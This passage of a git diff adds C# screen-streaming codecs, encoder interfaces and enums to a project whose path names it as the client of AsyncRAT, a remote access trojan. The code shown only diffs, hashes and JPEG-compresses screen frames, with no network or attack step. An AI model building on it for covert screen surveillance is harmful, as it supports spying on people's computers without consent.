||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.AutoDispose | CodecOption.HasBuffers | CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
private Size CheckBlock { get; set; }
|
||||
public SimpleBitmap LastFrame { get; set; }
|
||||
private object ImageProcessLock = new object();
|
||||
private Bitmap decodedBitmap;
|
||||
private CRC32 hasher;
|
||||
public int MaxBuffers { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of SmallCachedStreamCodec
|
||||
/// </summary>
|
||||
/// <param name="MaxBuffers">The maximum amount of buffers, higher value will decrease stream size but could decrease performance</param>
|
||||
/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||
public SmallCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
CheckBlock = new Size(20, 1);
|
||||
codeCached = new SortedList<int, byte[]>();
|
||||
decodeCached = new SortedList<int, byte[]>();
|
||||
hasher = new CRC32();
|
||||
this.MaxBuffers = MaxBuffers;
|
||||
}
|
||||
|
||||
private void SetLastFrame(ref Bitmap bmp)
|
||||
{
|
||||
SetLastFrame(new SimpleBitmap(bmp));
|
||||
}
|
||||
private void SetLastFrame(SimpleBitmap bmp)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
if (LastFrame != null && LastFrame.Locked)
|
||||
LastFrame.Dispose(true);
|
||||
LastFrame = bmp;
|
||||
}
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
if (LastFrame == null)
|
||||
{
|
||||
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
SetLastFrame(ref bitmap);
|
||||
return;
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
List<byte[]> updates = new List<byte[]>();
|
||||
SimpleBitmap sbBmp = new SimpleBitmap(bitmap);
|
||||
MemoryStream ms = new MemoryStream();
|
||||
byte[] buffer = null;
|
||||
|
||||
if (!LastFrame.Locked)
|
||||
LastFrame.Lock();
|
||||
|
||||
sbBmp.Lock();
|
||||
|
||||
if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
|
||||
if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height)
|
||||
{
|
||||
sbBmp.Unlock();
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
}
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
int index = 0;
|
||||
|
||||
int y = 0;
|
||||
int x = 0;
|
||||
|
||||
Size s = new Size(bitmap.Width, CheckBlock.Height);
|
||||
Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height);
|
||||
|
||||
int lasty = bitmap.Height - lastSize.Height;
|
||||
int lastx = bitmap.Width - lastSize.Width;
|
||||
|
||||
Rectangle cBlock = new Rectangle();
|
||||
|
||||
s = new Size(bitmap.Width, s.Height);
|
||||
while (y != bitmap.Height)
|
||||
{
|
||||
if (y == lasty)
|
||||
s = new Size(bitmap.Width, lastSize.Height);
|
||||
|
||||
cBlock = new Rectangle(0, y, bitmap.Width, s.Height);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||
//if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||
{
|
||||
index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
y += s.Height;
|
||||
}
|
||||
|
||||
List<CacheInfo> finalUpdates = new List<CacheInfo>();
|
||||
const int CheckHeight = 50;
|
||||
for (int i = 0; i < Blocks.Count; i++)
|
||||
{
|
||||
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||
y = Blocks[i].Y;
|
||||
lasty = (Blocks[i].Y + Blocks[i].Height);
|
||||
|
||||
while (y != lasty)
|
||||
{
|
||||
int ScanHeight = y + CheckHeight > lasty ? lasty - y : CheckHeight;
|
||||
x = 0;
|
||||
while (x != bitmap.Width)
|
||||
{
|
||||
if (x == lastx)
|
||||
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||
cBlock = new Rectangle(x, y, s.Width, ScanHeight);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info))
|
||||
{
|
||||
/*byte[] tempData = new byte[0];
|
||||
LastFrame.CopyBlock(cBlock, ref tempData);
|
||||
finalUpdates.Add(new CacheInfo(0, false, tempData, cBlock));*/
|
||||
|
||||
//hash it and see if exists in cache
|
||||
hasher = new CRC32(); //re-initialize for seed
|
||||
byte[] tempData = new byte[0];
|
||||
LastFrame.CopyBlock(cBlock, ref tempData);
|
||||
int hash = BitConverter.ToInt32(hasher.ComputeHash(tempData), 0);
|
||||
|
||||
if (codeCached.Count >= MaxBuffers)
|
||||
codeCached.RemoveAt(0);
|
||||
|
||||
if (codeCached.ContainsKey(hash))
|
||||
{
|
||||
CachedSize += (ulong)tempData.Length;
|
||||
finalUpdates.Add(new CacheInfo(hash, true, new byte[0], cBlock));
|
||||
}
|
||||
else
|
||||
{
|
||||
//nothing found in cache let's use the normal way
|
||||
codeCached.Add(hash, tempData);
|
||||
finalUpdates.Add(new CacheInfo(hash, false, tempData, cBlock));
|
||||
}
|
||||
}
|
||||
x += s.Width;
|
||||
}
|
||||
y += ScanHeight;
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
buffer = new byte[0];
|
||||
Rectangle rect = finalUpdates[i].Rect;
|
||||
|
||||
if (!finalUpdates[i].isCached)
|
||||
{
|
||||
fixed (byte* ptr = finalUpdates[i].Data)
|
||||
{
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr)))
|
||||
{
|
||||
buffer = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outStream.WriteByte(finalUpdates[i].isCached ? (byte)1 : (byte)0);
|
||||
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Height), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Hash), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
|
||||
outStream.Write(buffer, 0, buffer.Length);
|
||||
TotalDataLength += buffer.Length + (4 * 6) + 1;
|
||||
}
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
|
||||
Blocks.Clear();
|
||||
SetLastFrame(sbBmp);
|
||||
ms.Close();
|
||||
ms.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
List<CacheInfo> cacheInfo = new List<CacheInfo>();
|
||||
byte[] HeaderData = new byte[(4 * 6) + 1];
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
inStream.Read(HeaderData, 0, HeaderData.Length);
|
||||
|
||||
bool isCached = HeaderData[0] == 1;
|
||||
rect = new Rectangle(BitConverter.ToInt32(HeaderData, 1), BitConverter.ToInt32(HeaderData, 5),
|
||||
BitConverter.ToInt32(HeaderData, 9), BitConverter.ToInt32(HeaderData, 13));
|
||||
int Hash = BitConverter.ToInt32(HeaderData, 17);
|
||||
int UpdateLen = BitConverter.ToInt32(HeaderData, 21);
|
||||
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
//process update data
|
||||
if (isCached)
|
||||
{
|
||||
//data is cached
|
||||
if (decodeCached.ContainsKey(Hash))
|
||||
buffer = decodeCached[Hash];
|
||||
else
|
||||
{
|
||||
|
||||
}
|
||||
cacheInfo.Add(new CacheInfo(Hash, true, new byte[0], rect));
|
||||
}
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
if (buffer.Length > 0)
|
||||
{
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
|
||||
tmp.Dispose();
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
}
|
||||
|
||||
if (decodeCached.Count >= MaxBuffers)
|
||||
decodeCached.RemoveAt(0);
|
||||
|
||||
if(!decodeCached.ContainsKey(Hash))
|
||||
this.decodeCached.Add(Hash, buffer);
|
||||
DataSize -= UpdateLen + HeaderData.Length;
|
||||
}
|
||||
|
||||
int CachedSize = 0;
|
||||
foreach(CacheInfo inf in cacheInfo)
|
||||
{
|
||||
CachedSize += (inf.Rect.Width * 4) * inf.Rect.Height;
|
||||
|
||||
|
||||
}
|
||||
Console.WriteLine(cacheInfo.Count + ", " + CachedSize);
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
private class CacheInfo
|
||||
{
|
||||
public bool isCached = false;
|
||||
public byte[] Data;
|
||||
public int Hash;
|
||||
public Rectangle Rect;
|
||||
|
||||
public CacheInfo(int Hash, bool isCached, byte[] Data, Rectangle Rect)
|
||||
{
|
||||
this.Hash = Hash;
|
||||
this.isCached = isCached;
|
||||
this.Data = Data;
|
||||
this.Rect = Rect;
|
||||
}
|
||||
|
||||
/*public unsafe void CreateHashList(SimpleBitmap sBmp, Size CheckBlock, SmallCachedStreamCodec codec)
|
||||
{
|
||||
if (ScanRects.Count > 0)
|
||||
{
|
||||
int scanX = ScanRects[0].X;
|
||||
for (int i = 0; i < ScanRects.Count; i++)
|
||||
{
|
||||
int scanWidth = ScanRects[i].Width > CheckBlock.Width ? CheckBlock.Width : ScanRects[i].Width;
|
||||
Rectangle rect = ScanRects[i];
|
||||
rect.Width = scanWidth;
|
||||
rect.X = scanX;
|
||||
byte[] buffer = new byte[0];
|
||||
sBmp.CopyBlock(rect, ref buffer);
|
||||
|
||||
int hash = BitConverter.ToInt32(new CRC32().ComputeHash(buffer), 0);
|
||||
|
||||
if (!HashList.ContainsKey(hash))
|
||||
HashList.Add(hash, rect);
|
||||
|
||||
//fixed (byte* ptr = buffer)
|
||||
//{
|
||||
// using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * sBmp.Info.PixelSize, sBmp.bitmapData.PixelFormat, new IntPtr(ptr)))
|
||||
// {
|
||||
// buffer = codec.lzwCompression.Compress(TmpBmp);
|
||||
//
|
||||
// }
|
||||
//}
|
||||
|
||||
scanX += scanWidth;
|
||||
}
|
||||
}
|
||||
}*/
|
||||
}
|
||||
}
|
||||
}
|
||||
266
AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallStreamCodec.cs
Normal file
266
AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallStreamCodec.cs
Normal file
@ -0,0 +1,266 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
public class SmallStreamCodec : IVideoCodec
|
||||
{
|
||||
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
public Size CheckBlock { get; set; }
|
||||
public SimpleBitmap LastFrame { get; set; }
|
||||
private object ImageProcessLock = new object();
|
||||
private Bitmap decodedBitmap;
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of SmallStreamCodec
|
||||
/// </summary>
|
||||
/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||
public SmallStreamCodec(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
CheckBlock = new Size(20, 1);
|
||||
}
|
||||
|
||||
private void SetLastFrame(ref Bitmap bmp)
|
||||
{
|
||||
SetLastFrame(new SimpleBitmap(bmp));
|
||||
}
|
||||
private void SetLastFrame(SimpleBitmap bmp)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
if (LastFrame != null && LastFrame.Locked)
|
||||
LastFrame.Dispose(true);
|
||||
LastFrame = bmp;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Encode the image
|
||||
/// </summary>
|
||||
/// <param name="bitmap">The image you want to encode.</param>
|
||||
/// <param name="outStream">The output stream</param>
|
||||
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
if (LastFrame == null)
|
||||
{
|
||||
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
SetLastFrame(ref bitmap);
|
||||
return;
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
List<byte[]> updates = new List<byte[]>();
|
||||
SimpleBitmap sbBmp = new SimpleBitmap(bitmap);
|
||||
MemoryStream ms = new MemoryStream();
|
||||
byte[] buffer = null;
|
||||
|
||||
if (!LastFrame.Locked)
|
||||
LastFrame.Lock();
|
||||
|
||||
sbBmp.Lock();
|
||||
|
||||
if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
|
||||
if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height)
|
||||
{
|
||||
sbBmp.Unlock();
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
}
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
int index = 0;
|
||||
|
||||
int y = 0;
|
||||
int x = 0;
|
||||
|
||||
Size s = new Size(bitmap.Width, CheckBlock.Height);
|
||||
Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height);
|
||||
|
||||
int lasty = bitmap.Height - lastSize.Height;
|
||||
int lastx = bitmap.Width - lastSize.Width;
|
||||
|
||||
Rectangle cBlock = new Rectangle();
|
||||
|
||||
s = new Size(bitmap.Width, s.Height);
|
||||
while (y != bitmap.Height)
|
||||
{
|
||||
if (y == lasty)
|
||||
s = new Size(bitmap.Width, lastSize.Height);
|
||||
|
||||
cBlock = new Rectangle(0, y, bitmap.Width, s.Height);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||
//if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||
{
|
||||
index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
y += s.Height;
|
||||
}
|
||||
|
||||
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||
for (int i = 0; i < Blocks.Count; i++)
|
||||
{
|
||||
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||
x = 0;
|
||||
while (x != bitmap.Width)
|
||||
{
|
||||
if (x == lastx)
|
||||
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||
|
||||
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info))
|
||||
{
|
||||
index = finalUpdates.Count - 1;
|
||||
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = finalUpdates[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
finalUpdates[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(cBlock);
|
||||
}
|
||||
}
|
||||
x += s.Width;
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
Rectangle rect = finalUpdates[i];
|
||||
sbBmp.CopyBlock(rect, ref buffer);
|
||||
|
||||
fixed (byte* ptr = buffer)
|
||||
{
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr)))
|
||||
{
|
||||
buffer = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
|
||||
outStream.Write(buffer, 0, buffer.Length);
|
||||
TotalDataLength += buffer.Length + (4 * 5);
|
||||
}
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
|
||||
Blocks.Clear();
|
||||
SetLastFrame(sbBmp);
|
||||
ms.Close();
|
||||
ms.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Decode the video stream
|
||||
/// </summary>
|
||||
/// <param name="inStream">The input stream</param>
|
||||
/// <returns>The image that has been decoded</returns>
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= buffer.Length + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,26 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Encoders.GridCoder
|
||||
{
|
||||
internal class GridBlock
|
||||
{
|
||||
public Rectangle Rect { get; private set; }
|
||||
public ulong Hash { get; private set; }
|
||||
private GridEncoder encoder;
|
||||
|
||||
public GridBlock(Rectangle Rect, GridEncoder encoder)
|
||||
{
|
||||
this.encoder = encoder;
|
||||
this.Rect = Rect;
|
||||
CalculateHash();
|
||||
}
|
||||
|
||||
public void CalculateHash()
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,47 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Encoders.GridCoder
|
||||
{
|
||||
public class GridEncoder : IEncoder
|
||||
{
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, System.Drawing.Rectangle ScanArea, System.Drawing.Size ImageSize, System.Drawing.Imaging.PixelFormat Format, System.IO.Stream outStream)
|
||||
{
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
24
AsyncRAT-C#/Client/StreamLibrary/Enums.cs
Normal file
24
AsyncRAT-C#/Client/StreamLibrary/Enums.cs
Normal file
@ -0,0 +1,24 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary
|
||||
{
|
||||
public enum CodecOption
|
||||
{
|
||||
/// <summary>
|
||||
/// The Previous and next image size must be equal
|
||||
/// </summary>
|
||||
RequireSameSize,
|
||||
/// <summary>
|
||||
/// If the codec is having a stream buffer
|
||||
/// </summary>
|
||||
HasBuffers,
|
||||
/// <summary>
|
||||
/// The image will be disposed by the codec and shall not be disposed by the user
|
||||
/// </summary>
|
||||
AutoDispose,
|
||||
/// <summary> No codec options were used </summary>
|
||||
None
|
||||
};
|
||||
}
|
||||
46
AsyncRAT-C#/Client/StreamLibrary/IEncoder.cs
Normal file
46
AsyncRAT-C#/Client/StreamLibrary/IEncoder.cs
Normal file
@ -0,0 +1,46 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary
|
||||
{
|
||||
public abstract class IEncoder
|
||||
{
|
||||
protected LzwCompression lzwCompression;
|
||||
public abstract ulong CachedSize { get; internal set; }
|
||||
protected object ImageProcessLock { get; private set; }
|
||||
|
||||
private int _imageQuality;
|
||||
public int ImageQuality
|
||||
{
|
||||
get { return _imageQuality; }
|
||||
set
|
||||
{
|
||||
_imageQuality = value;
|
||||
lzwCompression = new LzwCompression(value);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public IEncoder(int ImageQuality = 100)
|
||||
{
|
||||
this.ImageQuality = ImageQuality;
|
||||
this.ImageProcessLock = new object();
|
||||
}
|
||||
|
||||
public abstract int BufferCount { get; }
|
||||
public abstract CodecOption CodecOptions { get; }
|
||||
public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream);
|
||||
public abstract unsafe Bitmap DecodeData(Stream inStream);
|
||||
public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
46
AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs
Normal file
46
AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs
Normal file
@ -0,0 +1,46 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary
|
||||
{
|
||||
public abstract class IUnsafeCodec
|
||||
{
|
||||
protected JpgCompression jpgCompression;
|
||||
protected LzwCompression lzwCompression;
|
||||
public abstract ulong CachedSize { get; internal set; }
|
||||
protected object ImageProcessLock { get; private set; }
|
||||
|
||||
private int _imageQuality;
|
||||
public int ImageQuality
|
||||
{
|
||||
get { return _imageQuality; }
|
||||
set
|
||||
{
|
||||
_imageQuality = value;
|
||||
jpgCompression = new JpgCompression(value);
|
||||
lzwCompression = new LzwCompression(value);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public IUnsafeCodec(int ImageQuality = 100)
|
||||
{
|
||||
this.ImageQuality = ImageQuality;
|
||||
this.ImageProcessLock = new object();
|
||||
}
|
||||
|
||||
public abstract int BufferCount { get; }
|
||||
public abstract CodecOption CodecOptions { get; }
|
||||
public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream);
|
||||
public abstract unsafe Bitmap DecodeData(Stream inStream);
|
||||
public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
|
||||
}
|
||||
}
|
||||
35
AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs
Normal file
35
AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs
Normal file
@ -0,0 +1,35 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary
|
||||
{
|
||||
public abstract class IVideoCodec
|
||||
{
|
||||
public delegate void VideoCodeProgress(Stream stream, Rectangle[] MotionChanges);
|
||||
public delegate void VideoDecodeProgress(Bitmap bitmap);
|
||||
public delegate void VideoDebugScanningDelegate(Rectangle ScanArea);
|
||||
|
||||
public abstract event VideoCodeProgress onVideoStreamCoding;
|
||||
public abstract event VideoDecodeProgress onVideoStreamDecoding;
|
||||
public abstract event VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public abstract event VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
protected JpgCompression jpgCompression;
|
||||
public abstract ulong CachedSize { get; internal set; }
|
||||
public int ImageQuality { get; set; }
